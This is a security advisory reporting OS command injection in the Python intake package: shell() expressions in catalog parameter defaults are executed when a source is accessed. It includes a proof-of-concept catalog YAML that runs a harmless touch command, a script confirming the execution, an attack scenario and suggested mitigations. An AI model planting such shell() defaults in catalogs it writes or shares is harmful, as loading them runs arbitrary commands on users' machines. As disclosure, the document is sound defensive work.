GHSA-37g4-qqqv-7m99 Intake has a Command Injection via shell() Expansion in Parameter Defaults

• PyPI intake: <= 2.0.9 (no fix yet)

Summary The shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process. If a catalog contains a parameter default such as shell(), the command may be executed when the catalog source is accessed. This means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system. This behavior could potentially be classified as OS Command Injection / Unsafe Shell Expansion. Details The issue appears to originate from how parameter default values are expanded when a catalog source is accessed. During catalog loading and source access: Intake resolves parameter default values The function responsible for expanding defaults processes the shell() syntax The shell expression triggers a subprocess execution Because this occurs during catalog evaluation, the command may execute before the user explicitly interacts with the dataset itself. Affected logic appears to involve: ``` expand_defaults() ``` and related parameter parsing mechanisms. PoC exploit.yaml ``` metadata: version: 1 sources: rce_test: driver: csv description: "Testing shell expansion in parameters" args: urlpath: "{{ cmd_exec }}" parameters: cmd_exec: display_name: "Test Parameter" type: str default: "shell(touch /tmp/intake_rce_test)" ``` reproduce.py ``` import intake import os PROOF_FILE = "/tmp/intake_rce_test" if os.path.exists(PROOF_FILE): os.remove(PROOF_FILE) print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}") try: cat = intake.open_catalog("exploit.yaml") print("Accessing source...") _ = cat["rce_test"] except Exception as e: print(f" Error during execution: {e}") if os.path.exists(PROOF_FILE): print(f" Command execution confirmed, Found: {PROOF_FILE}") else: print("Command execution did not occur.") ``` Attack Scenario A potential attack scenario could be: 1. An attacker publishes a malicious Intake catalog YAML file 2. The victim downloads or loads the catalog 3. The victim accesses a source entry in the catalog 4. Parameter defaults are expanded 5. The shell() expression triggers execution of the embedded command Impact If this behavior is confirmed to be unintended, an attacker could distribute a malicious catalog file via: • Git repositories • shared datasets • URLs • data science workflows • Any user loading the catalog could unknowingly execute commands with their local user privileges. Recommendation Possible mitigations could include: • disabling shell() expansion by default • requiring an explicit opt-in flag (e.g., allow_shell=True) • restricting shell execution for catalogs loaded from untrusted sources Please let me know if additional information or testing is needed. I'm happy to assist with further analysis or validation.